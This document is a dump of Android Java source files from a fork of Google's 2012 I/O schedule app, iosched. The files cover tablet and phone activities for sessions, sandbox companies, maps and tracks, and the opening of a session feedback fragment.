.replace(R.id.fragment_container_master, fragment) .commit(); } private void loadSandboxDetail(Uri companyUri) { SandboxDetailFragment fragment = new SandboxDetailFragment(); fragment.setArguments(BaseActivity.intentToFragmentArguments( new Intent(Intent.ACTION_VIEW, companyUri))); getSupportFragmentManager().beginTransaction() .replace(R.id.fragment_container_detail, fragment) .commit(); mDetailFragment = fragment; updateDetailBackground(); // If loading session details in portrait, hide the master pane mSlidingPaneLayout.closePane(); } @Override public void onTrackNameAvailable(String trackId, String trackName) { String trackType = null; switch (mViewType) { case TracksDropdownFragment.VIEW_TYPE_SESSIONS: trackType = getString(R.string.title_sessions); break; case TracksDropdownFragment.VIEW_TYPE_OFFICE_HOURS: trackType = getString(R.string.title_office_hours); break; case TracksDropdownFragment.VIEW_TYPE_SANDBOX: trackType = getString(R.string.title_sandbox); break; } EasyTracker.getTracker().sendView(trackType + ": " + getTitle()); LOGD("Tracker", trackType + ": " + mTracksDropdownFragment.getTrackName()); } @Override public void onTrackSelected(String trackId) { boolean allTracks = (ScheduleContract.Tracks.ALL_TRACK_ID.equals(trackId)); switch (mViewType) { case TracksDropdownFragment.VIEW_TYPE_SESSIONS: loadSessionList((allTracks ? ScheduleContract.Sessions.CONTENT_URI : ScheduleContract.Tracks.buildSessionsUri(trackId)) .buildUpon() .appendQueryParameter(ScheduleContract.Sessions.QUERY_PARAMETER_FILTER, ScheduleContract.Sessions.QUERY_VALUE_FILTER_SESSIONS_CODELABS_ONLY) .build(), null); break; case TracksDropdownFragment.VIEW_TYPE_OFFICE_HOURS: loadSessionList((allTracks ? ScheduleContract.Sessions.CONTENT_URI : ScheduleContract.Tracks.buildSessionsUri(trackId)) .buildUpon() .appendQueryParameter( ScheduleContract.Sessions.QUERY_PARAMETER_FILTER, ScheduleContract.Sessions.QUERY_VALUE_FILTER_OFFICE_HOURS_ONLY) .build(), null); break; case TracksDropdownFragment.VIEW_TYPE_SANDBOX: loadSandboxList(allTracks ? ScheduleContract.Sandbox.CONTENT_URI : ScheduleContract.Tracks.buildSandboxUri(trackId), null); break; } } @Override public boolean onSessionSelected(String sessionId) { loadSessionDetail(ScheduleContract.Sessions.buildSessionUri(sessionId)); return true; } @Override public boolean onCompanySelected(String companyId) { loadSandboxDetail(ScheduleContract.Sandbox.buildCompanyUri(companyId)); return true; } private TrackInfoHelperFragment mTrackInfoHelperFragment; private String mTrackInfoLoadCookie; private void loadTrackInfoFromSessionUri(Uri sessionUri) { mTrackInfoLoadCookie = ScheduleContract.Sessions.getSessionId(sessionUri); Uri trackDirUri = ScheduleContract.Sessions.buildTracksDirUri( ScheduleContract.Sessions.getSessionId(sessionUri)); android.support.v4.app.FragmentTransaction ft = getSupportFragmentManager().beginTransaction(); if (mTrackInfoHelperFragment != null) { ft.remove(mTrackInfoHelperFragment); } mTrackInfoHelperFragment = TrackInfoHelperFragment.newFromTrackUri(trackDirUri); ft.add(mTrackInfoHelperFragment, "track_info").commit(); } @Override public void onTrackInfoAvailable(String trackId, TrackInfo track) { loadTrackList(mViewType, trackId); boolean allTracks = (ScheduleContract.Tracks.ALL_TRACK_ID.equals(trackId)); switch (mViewType) { case TracksDropdownFragment.VIEW_TYPE_SESSIONS: loadSessionList((allTracks ? ScheduleContract.Sessions.CONTENT_URI : ScheduleContract.Tracks.buildSessionsUri(trackId)) .buildUpon() .appendQueryParameter(ScheduleContract.Sessions.QUERY_PARAMETER_FILTER, ScheduleContract.Sessions.QUERY_VALUE_FILTER_SESSIONS_CODELABS_ONLY) .build(), mTrackInfoLoadCookie); break; case TracksDropdownFragment.VIEW_TYPE_OFFICE_HOURS: loadSessionList((allTracks ? ScheduleContract.Sessions.CONTENT_URI : ScheduleContract.Tracks.buildSessionsUri(trackId)) .buildUpon() .appendQueryParameter( ScheduleContract.Sessions.QUERY_PARAMETER_FILTER, ScheduleContract.Sessions.QUERY_VALUE_FILTER_OFFICE_HOURS_ONLY) .build(), mTrackInfoLoadCookie); break; case TracksDropdownFragment.VIEW_TYPE_SANDBOX: loadSandboxList(allTracks ? ScheduleContract.Sandbox.CONTENT_URI : ScheduleContract.Tracks.buildSandboxUri(trackId), mTrackInfoLoadCookie); break; } } @Override public void onTrackIdAvailable(String trackId) { } @Override public ImageLoader getImageLoaderInstance() { return mImageLoader; } }
zzc88915-iosched
android/src/main/java/com/google/android/apps/iosched/ui/tablet/SessionsSandboxMultiPaneActivity.java
Java
asf20
22,144
/* * Copyright 2012 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.google.android.apps.iosched.ui.tablet; import android.annotation.TargetApi; import android.app.FragmentBreadCrumbs; import android.content.Intent; import android.content.res.Configuration; import android.net.Uri; import android.os.Build; import android.os.Bundle; import android.support.v4.app.Fragment; import android.support.v4.app.FragmentManager; import android.view.Gravity; import android.view.View; import android.view.ViewGroup; import android.widget.LinearLayout; import com.google.android.apps.iosched.R; import com.google.android.apps.iosched.provider.ScheduleContract; import com.google.android.apps.iosched.ui.*; import com.google.android.apps.iosched.ui.SandboxDetailFragment; /** * A multi-pane activity, where the primary navigation pane is a * {@link MapFragment}, that shows {@link SessionsFragment}, * {@link SessionDetailFragment}, {@link com.google.android.apps.iosched.ui.SandboxFragment}, and * {@link com.google.android.apps.iosched.ui.SandboxDetailFragment} as popups. This activity requires API level 11 * or greater because of its use of {@link FragmentBreadCrumbs}. */ @TargetApi(Build.VERSION_CODES.HONEYCOMB) public class MapMultiPaneActivity extends BaseActivity implements FragmentManager.OnBackStackChangedListener, MapFragment.Callbacks, SessionsFragment.Callbacks, SandboxFragment.Callbacks, SandboxDetailFragment.Callbacks{ private boolean mPauseBackStackWatcher = false; private FragmentBreadCrumbs mFragmentBreadCrumbs; private String mSelectedRoomName; private MapFragment mMapFragment; private boolean isSessionShown = true; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_map); FragmentManager fm = getSupportFragmentManager(); fm.addOnBackStackChangedListener(this); mFragmentBreadCrumbs = (FragmentBreadCrumbs) findViewById(R.id.breadcrumbs); mFragmentBreadCrumbs.setActivity(this); mMapFragment = (MapFragment) fm.findFragmentByTag("map"); if (mMapFragment == null) { mMapFragment = new MapFragment(); mMapFragment.setArguments(intentToFragmentArguments(getIntent())); fm.beginTransaction() .add(R.id.fragment_container_map, mMapFragment, "map") .commit(); } findViewById(R.id.close_button).setOnClickListener(new View.OnClickListener() { public void onClick(View view) { clearBackStack(false); } }); updateBreadCrumbs(); onConfigurationChanged(getResources().getConfiguration()); } @Override public void onConfigurationChanged(Configuration newConfig) { super.onConfigurationChanged(newConfig); boolean landscape = (newConfig.orientation == Configuration.ORIENTATION_LANDSCAPE); LinearLayout spacerView = (LinearLayout) findViewById(R.id.map_detail_spacer); spacerView.setOrientation(landscape ? LinearLayout.HORIZONTAL : LinearLayout.VERTICAL); spacerView.setGravity(landscape ? Gravity.END : Gravity.BOTTOM); View popupView = findViewById(R.id.map_detail_popup); LinearLayout.LayoutParams popupLayoutParams = (LinearLayout.LayoutParams) popupView.getLayoutParams(); popupLayoutParams.width = landscape ? 0 : ViewGroup.LayoutParams.MATCH_PARENT; popupLayoutParams.height = landscape ? ViewGroup.LayoutParams.MATCH_PARENT : 0; popupView.setLayoutParams(popupLayoutParams); popupView.requestLayout(); updateMapPadding(); } private void clearBackStack(boolean pauseWatcher) { if (pauseWatcher) { mPauseBackStackWatcher = true; } FragmentManager fm = getSupportFragmentManager(); while (fm.getBackStackEntryCount() > 0) { fm.popBackStackImmediate(); } if (pauseWatcher) { mPauseBackStackWatcher = false; } } public void onBackStackChanged() { if (mPauseBackStackWatcher) { return; } if (getSupportFragmentManager().getBackStackEntryCount() == 0) { showDetailPane(false); } updateBreadCrumbs(); } private void showDetailPane(boolean show) { View detailPopup = findViewById(R.id.map_detail_spacer); if (show != (detailPopup.getVisibility() == View.VISIBLE)) { detailPopup.setVisibility(show ? View.VISIBLE : View.GONE); updateMapPadding(); } } private void updateMapPadding() { // Pan the map left or up depending on the orientation. boolean landscape = getResources().getConfiguration().orientation == Configuration.ORIENTATION_LANDSCAPE; boolean detailShown = findViewById(R.id.map_detail_spacer).getVisibility() == View.VISIBLE; mMapFragment.setCenterPadding( landscape ? (detailShown ? 0.25f : 0f) : 0, landscape ? 0 : (detailShown ? 0.25f : 0)); } void updateBreadCrumbs() { String detailTitle; if(isSessionShown){ detailTitle = getString(R.string.title_session_detail); }else{ detailTitle = getString(R.string.title_sandbox_detail); } if (getSupportFragmentManager().getBackStackEntryCount() >= 2) { mFragmentBreadCrumbs.setParentTitle(mSelectedRoomName, mSelectedRoomName, mFragmentBreadCrumbsClickListener); mFragmentBreadCrumbs.setTitle(detailTitle, detailTitle); } else { mFragmentBreadCrumbs.setParentTitle(null, null, null); mFragmentBreadCrumbs.setTitle(mSelectedRoomName, mSelectedRoomName); } } private View.OnClickListener mFragmentBreadCrumbsClickListener = new View.OnClickListener() { @Override public void onClick(View view) { getSupportFragmentManager().popBackStack(); } }; @Override public void onSessionRoomSelected(String roomId, String roomTitle) { // Load room details mSelectedRoomName = roomTitle; isSessionShown = true; SessionsFragment fragment = new SessionsFragment(); Uri uri = ScheduleContract.Rooms.buildSessionsDirUri(roomId); showList(fragment,uri); } @Override public void onSandboxRoomSelected(String trackId, String roomTitle) { // Load room details mSelectedRoomName = roomTitle; isSessionShown = false; Fragment fragment = new SandboxFragment(); Uri uri = ScheduleContract.Tracks.buildSandboxUri(trackId); showList(fragment,uri); } @Override public boolean onCompanySelected(String companyId) { isSessionShown = false; final Uri uri = ScheduleContract.Sandbox.buildCompanyUri(companyId); SandboxDetailFragment fragment = new SandboxDetailFragment(); showDetails(fragment,uri); return false; } @Override public boolean onSessionSelected(String sessionId) { isSessionShown = true; final Uri uri = ScheduleContract.Sessions.buildSessionUri(sessionId); SessionDetailFragment fragment = new SessionDetailFragment(); showDetails(fragment,uri); return false; } private void showList(Fragment fragment, Uri uri){ // Show the sessions in the room clearBackStack(true); showDetailPane(true); fragment.setArguments(BaseActivity.intentToFragmentArguments( new Intent(Intent.ACTION_VIEW, uri ))); getSupportFragmentManager().beginTransaction() .replace(R.id.fragment_container_detail, fragment) .addToBackStack(null) .commit(); updateBreadCrumbs(); } private void showDetails(Fragment fragment, Uri uri){ // Show the session details showDetailPane(true); Intent intent = new Intent(Intent.ACTION_VIEW,uri); intent.putExtra(SessionDetailFragment.EXTRA_VARIABLE_HEIGHT_HEADER, true); fragment.setArguments(BaseActivity.intentToFragmentArguments(intent)); getSupportFragmentManager().beginTransaction() .replace(R.id.fragment_container_detail, fragment) .addToBackStack(null) .commit(); updateBreadCrumbs(); } @Override public void onTrackIdAvailable(String trackId) { } }
zzc88915-iosched
android/src/main/java/com/google/android/apps/iosched/ui/tablet/MapMultiPaneActivity.java
Java
asf20
9,229
/* * Copyright 2012 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.google.android.apps.iosched.ui.phone; import android.annotation.TargetApi; import android.app.SearchManager; import android.content.Intent; import android.os.Build; import android.os.Bundle; import android.support.v4.app.Fragment; import android.view.Menu; import android.view.MenuItem; import android.widget.SearchView; import com.google.android.apps.iosched.R; import com.google.android.apps.iosched.provider.ScheduleContract; import com.google.android.apps.iosched.ui.SessionsFragment; import com.google.android.apps.iosched.ui.SimpleSinglePaneActivity; import com.google.android.apps.iosched.util.UIUtils; public class SessionsActivity extends SimpleSinglePaneActivity implements SessionsFragment.Callbacks { @Override protected Fragment onCreatePane() { return new SessionsFragment(); } @TargetApi(Build.VERSION_CODES.HONEYCOMB) @Override public boolean onCreateOptionsMenu(Menu menu) { super.onCreateOptionsMenu(menu); getMenuInflater().inflate(R.menu.search, menu); MenuItem searchItem = menu.findItem(R.id.menu_search); if (searchItem != null && UIUtils.hasHoneycomb()) { SearchView searchView = (SearchView) searchItem.getActionView(); if (searchView != null) { SearchManager searchManager = (SearchManager) getSystemService(SEARCH_SERVICE); searchView.setSearchableInfo(searchManager.getSearchableInfo(getComponentName())); searchView.setQueryRefinementEnabled(true); } } return true; } @Override public boolean onOptionsItemSelected(MenuItem item) { switch (item.getItemId()) { case R.id.menu_search: if (!UIUtils.hasHoneycomb()) { startSearch(null, false, Bundle.EMPTY, false); return true; } break; } return super.onOptionsItemSelected(item); } @Override public boolean onSessionSelected(String sessionId) { startActivity(new Intent(Intent.ACTION_VIEW, ScheduleContract.Sessions.buildSessionUri(sessionId))); return false; } }
zzc88915-iosched
android/src/main/java/com/google/android/apps/iosched/ui/phone/SessionsActivity.java
Java
asf20
2,811
/* * Copyright 2012 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.google.android.apps.iosched.ui.phone; import android.content.Intent; import android.os.Bundle; import android.os.Handler; import android.support.v4.app.Fragment; import android.support.v4.app.FragmentManager; import com.google.android.apps.iosched.R; import com.google.android.apps.iosched.provider.ScheduleContract; import com.google.android.apps.iosched.ui.*; import com.google.android.apps.iosched.ui.SandboxDetailFragment; import com.google.android.apps.iosched.util.ImageLoader; import com.google.android.apps.iosched.util.UIUtils; public class SandboxDetailActivity extends SimpleSinglePaneActivity implements SandboxDetailFragment.Callbacks, TrackInfoHelperFragment.Callbacks, ImageLoader.ImageLoaderProvider { private String mTrackId = null; private ImageLoader mImageLoader; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); mImageLoader = new ImageLoader(this, R.drawable.sandbox_logo_empty) .setMaxImageSize(getResources().getDimensionPixelSize( R.dimen.sandbox_company_image_size)) .setFadeInImage(UIUtils.hasHoneycombMR1()); } @Override protected Fragment onCreatePane() { return new SandboxDetailFragment(); } @Override public Intent getParentActivityIntent() { // Up to this company's track details, or Home if no track is available if (mTrackId != null) { return new Intent(Intent.ACTION_VIEW, ScheduleContract.Tracks.buildTrackUri(mTrackId)); } else { return new Intent(this, HomeActivity.class); } } @Override public void onTrackInfoAvailable(String trackId, TrackInfo track) { mTrackId = trackId; setTitle(track.name); setActionBarTrackIcon(track.name, track.color); } @Override public void onTrackIdAvailable(final String trackId) { new Handler().post(new Runnable() { @Override public void run() { FragmentManager fm = getSupportFragmentManager(); if (fm.findFragmentByTag("track_info") == null) { fm.beginTransaction() .add(TrackInfoHelperFragment.newFromTrackUri( ScheduleContract.Tracks.buildTrackUri(trackId)), "track_info") .commit(); } } }); } @Override public ImageLoader getImageLoaderInstance() { return mImageLoader; } }
zzc88915-iosched
android/src/main/java/com/google/android/apps/iosched/ui/phone/SandboxDetailActivity.java
Java
asf20
3,240
/* * Copyright 2012 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.google.android.apps.iosched.ui.phone; import android.content.Intent; import android.support.v4.app.Fragment; import com.google.android.apps.iosched.provider.ScheduleContract; import com.google.android.apps.iosched.ui.MapFragment; import com.google.android.apps.iosched.ui.SimpleSinglePaneActivity; public class MapActivity extends SimpleSinglePaneActivity implements MapFragment.Callbacks { @Override protected Fragment onCreatePane() { return new MapFragment(); } @Override public void onSessionRoomSelected(String roomId, String roomTitle) { Intent roomIntent = new Intent(Intent.ACTION_VIEW, ScheduleContract.Rooms.buildSessionsDirUri(roomId)); roomIntent.putExtra(Intent.EXTRA_TITLE, roomTitle); startActivity(roomIntent); } @Override public void onSandboxRoomSelected(String trackId, String roomTitle) { Intent intent = new Intent(this,TrackDetailActivity.class); intent.setData( ScheduleContract.Tracks.buildSandboxUri(trackId)); intent.putExtra(Intent.EXTRA_TITLE, roomTitle); startActivity(intent); } }
zzc88915-iosched
android/src/main/java/com/google/android/apps/iosched/ui/phone/MapActivity.java
Java
asf20
1,750
/* * Copyright 2012 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.google.android.apps.iosched.ui.phone; import android.view.Menu; import android.view.MenuItem; import com.google.analytics.tracking.android.EasyTracker; import com.google.android.apps.iosched.R; import com.google.android.apps.iosched.provider.ScheduleContract; import com.google.android.apps.iosched.ui.*; import com.google.android.apps.iosched.util.UIUtils; import android.content.Intent; import android.net.Uri; import android.os.Bundle; import android.support.v7.app.ActionBar; import android.support.v4.app.Fragment; import android.support.v4.app.FragmentManager; import android.support.v4.app.FragmentPagerAdapter; import android.support.v4.app.FragmentTransaction; import android.support.v4.view.ViewPager; import java.util.ArrayList; import java.util.List; import static com.google.android.apps.iosched.provider.ScheduleContract.Sessions.QUERY_PARAMETER_FILTER; import static com.google.android.apps.iosched.provider.ScheduleContract.Sessions.QUERY_VALUE_FILTER_SESSIONS_CODELABS_ONLY; import static com.google.android.apps.iosched.provider.ScheduleContract.Sessions.QUERY_VALUE_FILTER_OFFICE_HOURS_ONLY; import static com.google.android.apps.iosched.util.LogUtils.LOGD; public class TrackDetailActivity extends BaseActivity implements ActionBar.TabListener, ViewPager.OnPageChangeListener, SessionsFragment.Callbacks, SandboxFragment.Callbacks, TrackInfoHelperFragment.Callbacks { private static final int TAB_SESSIONS = 100; private static final int TAB_OFFICE_HOURS = 101; private static final int TAB_SANDBOX = 102; private ViewPager mViewPager; private String mTrackId; private String mHashtag; private List<Integer> mTabs = new ArrayList<Integer>(); @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_track_detail); Uri trackUri = getIntent().getData(); mTrackId = ScheduleContract.Tracks.getTrackId(trackUri); mViewPager = (ViewPager) findViewById(R.id.pager); mViewPager.setAdapter(new TrackDetailPagerAdapter(getSupportFragmentManager())); mViewPager.setOnPageChangeListener(this); mViewPager.setPageMarginDrawable(R.drawable.grey_border_inset_lr); mViewPager.setPageMargin(getResources().getDimensionPixelSize(R.dimen.page_margin_width)); if (savedInstanceState == null) { getSupportFragmentManager().beginTransaction() .add(TrackInfoHelperFragment.newFromTrackUri(trackUri), "track_info") .commit(); } } @Override public Intent getParentActivityIntent() { return new Intent(this, HomeActivity.class) .putExtra(HomeActivity.EXTRA_DEFAULT_TAB, HomeActivity.TAB_EXPLORE); } @Override public void onTabSelected(ActionBar.Tab tab, FragmentTransaction fragmentTransaction) { mViewPager.setCurrentItem(tab.getPosition()); } @Override public void onTabUnselected(ActionBar.Tab tab, FragmentTransaction fragmentTransaction) { } @Override public void onTabReselected(ActionBar.Tab tab, FragmentTransaction fragmentTransaction) { } @Override public void onPageScrolled(int i, float v, int i1) { } @Override public void onPageSelected(int position) { getSupportActionBar().setSelectedNavigationItem(position); int titleId = -1; switch (position) { case 0: titleId = R.string.title_sessions; break; case 1: titleId = R.string.title_office_hours; break; case 2: titleId = R.string.title_sandbox; break; } String title = getString(titleId); EasyTracker.getTracker().sendView(title + ": " + getTitle()); LOGD("Tracker", title + ": " + getTitle()); } @Override public void onPageScrollStateChanged(int i) { } private class TrackDetailPagerAdapter extends FragmentPagerAdapter { public TrackDetailPagerAdapter(FragmentManager fm) { super(fm); } @Override public Fragment getItem(int position) { boolean allTracks = (ScheduleContract.Tracks.ALL_TRACK_ID.equals(mTrackId)); switch (mTabs.get(position)) { case TAB_SESSIONS: { Fragment fragment = new SessionsFragment(); fragment.setArguments(BaseActivity.intentToFragmentArguments(new Intent( Intent.ACTION_VIEW, (allTracks ? ScheduleContract.Sessions.CONTENT_URI : ScheduleContract.Tracks.buildSessionsUri(mTrackId)) .buildUpon() .appendQueryParameter(QUERY_PARAMETER_FILTER, QUERY_VALUE_FILTER_SESSIONS_CODELABS_ONLY) .build() ))); return fragment; } case TAB_OFFICE_HOURS: { Fragment fragment = new SessionsFragment(); fragment.setArguments(BaseActivity.intentToFragmentArguments(new Intent( Intent.ACTION_VIEW, (allTracks ? ScheduleContract.Sessions.CONTENT_URI : ScheduleContract.Tracks.buildSessionsUri(mTrackId)) .buildUpon() .appendQueryParameter(QUERY_PARAMETER_FILTER, QUERY_VALUE_FILTER_OFFICE_HOURS_ONLY) .build()))); return fragment; } case TAB_SANDBOX: default: { Fragment fragment = new SandboxFragment(); fragment.setArguments(BaseActivity.intentToFragmentArguments(new Intent( Intent.ACTION_VIEW, allTracks ? ScheduleContract.Sandbox.CONTENT_URI : ScheduleContract.Tracks.buildSandboxUri(mTrackId)))); return fragment; } } } @Override public int getCount() { return mTabs.size(); } } @Override public boolean onCreateOptionsMenu(Menu menu) { super.onCreateOptionsMenu(menu); getMenuInflater().inflate(R.menu.track_detail, menu); return true; } @Override public boolean onOptionsItemSelected(MenuItem item) { switch (item.getItemId()) { case R.id.menu_social_stream: Intent intent = new Intent(this, SocialStreamActivity.class); intent.putExtra(SocialStreamFragment.EXTRA_QUERY, UIUtils.getSessionHashtagsString(mHashtag)); startActivity(intent); break; } return super.onOptionsItemSelected(item); } @Override public void onTrackInfoAvailable(String trackId, TrackInfo track) { setTitle(track.name); setActionBarTrackIcon(track.name, track.color); mHashtag = track.hashtag; switch (track.meta) { case ScheduleContract.Tracks.TRACK_META_SESSIONS_ONLY: mTabs.add(TAB_SESSIONS); break; case ScheduleContract.Tracks.TRACK_META_SANDBOX_OFFICE_HOURS_ONLY: mTabs.add(TAB_OFFICE_HOURS); mTabs.add(TAB_SANDBOX); break; case ScheduleContract.Tracks.TRACK_META_OFFICE_HOURS_ONLY: mTabs.add(TAB_OFFICE_HOURS); break; case ScheduleContract.Tracks.TRACK_META_NONE: default: mTabs.add(TAB_SESSIONS); mTabs.add(TAB_OFFICE_HOURS); mTabs.add(TAB_SANDBOX); break; } mViewPager.getAdapter().notifyDataSetChanged(); if (mTabs.size() > 1) { setHasTabs(); final ActionBar actionBar = getSupportActionBar(); actionBar.setNavigationMode(ActionBar.NAVIGATION_MODE_TABS); for (int tab : mTabs) { int titleResId; switch (tab) { case TAB_SANDBOX: titleResId = R.string.title_sandbox; break; case TAB_OFFICE_HOURS: titleResId = R.string.title_office_hours; break; case TAB_SESSIONS: default: titleResId = R.string.title_sessions; break; } actionBar.addTab(actionBar.newTab().setText(titleResId).setTabListener(this)); } } } @Override public boolean onSessionSelected(String sessionId) { startActivity(new Intent(Intent.ACTION_VIEW, ScheduleContract.Sessions.buildSessionUri(sessionId))); return false; } @Override public boolean onCompanySelected(String companyId) { startActivity(new Intent(Intent.ACTION_VIEW, ScheduleContract.Sandbox.buildCompanyUri(companyId))); return false; } }
zzc88915-iosched
android/src/main/java/com/google/android/apps/iosched/ui/phone/TrackDetailActivity.java
Java
asf20
10,239
/* * Copyright 2012 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.google.android.apps.iosched.ui.phone; import android.content.Intent; import android.net.Uri; import android.os.Bundle; import android.support.v4.app.Fragment; import android.support.v4.app.TaskStackBuilder; import com.google.android.apps.iosched.R; import com.google.android.apps.iosched.provider.ScheduleContract; import com.google.android.apps.iosched.ui.*; import com.google.android.apps.iosched.util.BeamUtils; import com.google.android.apps.iosched.util.ImageLoader; import com.google.android.apps.iosched.util.UIUtils; public class SessionDetailActivity extends SimpleSinglePaneActivity implements TrackInfoHelperFragment.Callbacks, ImageLoader.ImageLoaderProvider { private String mTrackId = null; private ImageLoader mImageLoader; @Override protected void onCreate(Bundle savedInstanceState) { UIUtils.tryTranslateHttpIntent(this); BeamUtils.tryUpdateIntentFromBeam(this); super.onCreate(savedInstanceState); if (savedInstanceState == null) { Uri sessionUri = getIntent().getData(); BeamUtils.setBeamSessionUri(this, sessionUri); getSupportFragmentManager().beginTransaction() .add(TrackInfoHelperFragment.newFromSessionUri(sessionUri), "track_info") .commit(); } mImageLoader = new ImageLoader(this, R.drawable.person_image_empty) .setMaxImageSize(getResources().getDimensionPixelSize(R.dimen.speaker_image_size)) .setFadeInImage(UIUtils.hasHoneycombMR1()); } @Override protected Fragment onCreatePane() { return new SessionDetailFragment(); } @Override public Intent getParentActivityIntent() { // Up to this session's track details, or Home if no track is available if (mTrackId != null) { return new Intent(Intent.ACTION_VIEW, ScheduleContract.Tracks.buildTrackUri(mTrackId)); } else { return new Intent(this, HomeActivity.class); } } @Override public void onTrackInfoAvailable(String trackId, TrackInfo track) { mTrackId = trackId; setTitle(track.name); setActionBarTrackIcon(track.name, track.color); } @Override public ImageLoader getImageLoaderInstance() { return mImageLoader; } }
zzc88915-iosched
android/src/main/java/com/google/android/apps/iosched/ui/phone/SessionDetailActivity.java
Java
asf20
2,982
/* * Copyright 2012 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.google.android.apps.iosched.ui; import com.google.analytics.tracking.android.EasyTracker; import com.google.android.apps.iosched.R; import com.google.android.apps.iosched.provider.ScheduleContract; import com.google.android.apps.iosched.provider.ScheduleContract.Feedback; import com.google.android.apps.iosched.util.AccountUtils; import com.google.android.gms.common.ConnectionResult; import com.google.android.gms.common.GooglePlayServicesClient; import com.google.android.gms.plus.PlusClient; import android.content.ContentValues; import android.content.Intent; import android.database.Cursor; import android.net.Uri; import android.os.Bundle; import android.support.v4.app.Fragment; import android.support.v4.app.LoaderManager; import android.support.v4.content.CursorLoader; import android.support.v4.content.Loader; import android.view.*; import android.widget.EditText; import android.widget.RadioGroup; import android.widget.SeekBar; import android.widget.TextView; import java.util.ArrayList; import java.util.List; import static com.google.android.apps.iosched.util.LogUtils.LOGD; import static com.google.android.apps.iosched.util.LogUtils.makeLogTag; /** * A fragment that lets the user submit feedback about a given session. */ public class SessionFeedbackFragment extends Fragment implements LoaderManager.LoaderCallbacks<Cursor>, GooglePlayServicesClient.ConnectionCallbacks, GooglePlayServicesClient.OnConnectionFailedListener { private static final String TAG = makeLogTag(SessionDetailFragment.class); // Set this boolean extra to true to show a variable height header public static final String EXTRA_VARIABLE_HEIGHT_HEADER = "com.google.android.iosched.extra.VARIABLE_HEIGHT_HEADER"; private String mSessionId; private Uri mSessionUri; private String mTitleString; private TextView mTitle; private PlusClient mPlusClient; private boolean mVariableHeightHeader = false; private RatingBarHelper mSessionRatingFeedbackBar; private RatingBarHelper mQ1FeedbackBar; private RatingBarHelper mQ2FeedbackBar; private RatingBarHelper mQ3FeedbackBar; private RadioGroup mQ4RadioGroup; private EditText mComments; public SessionFeedbackFragment() { } @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); final String chosenAccountName = AccountUtils.getChosenAccountName(getActivity()); mPlusClient = new PlusClient.Builder(getActivity(), this, this) .clearScopes() .setAccountName(chosenAccountName) .build(); final Intent intent = BaseActivity.fragmentArgumentsToIntent(getArguments()); mSessionUri = intent.getData(); if (mSessionUri == null) { return; } mSessionId = ScheduleContract.Sessions.getSessionId(mSessionUri); mVariableHeightHeader = intent.getBooleanExtra(EXTRA_VARIABLE_HEIGHT_HEADER, false); LoaderManager manager = getLoaderManager(); manager.restartLoader(0, null, this); setHasOptionsMenu(true); } @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { ViewGroup rootView = (ViewGroup) inflater.inflate(R.layout.fragment_session_feedback, null); mTitle = (TextView) rootView.findViewById(R.id.session_title); mSessionRatingFeedbackBar = RatingBarHelper.create(rootView.findViewById( R.id.session_rating_container)); mQ1FeedbackBar = RatingBarHelper.create(rootView.findViewById( R.id.session_feedback_q1_container)); mQ2FeedbackBar = RatingBarHelper.create(rootView.findViewById( R.id.session_feedback_q2_container)); mQ3FeedbackBar = RatingBarHelper.create(rootView.findViewById( R.id.session_feedback_q3_container)); mQ4RadioGroup = (RadioGroup) rootView.findViewById(R.id.session_feedback_q4); mComments = (EditText) rootView.findViewById(R.id.session_feedback_comments); if (mVariableHeightHeader) { View headerView = rootView.findViewById(R.id.header_session); ViewGroup.LayoutParams layoutParams = headerView.getLayoutParams(); layoutParams.height = ViewGroup.LayoutParams.WRAP_CONTENT; headerView.setLayoutParams(layoutParams); 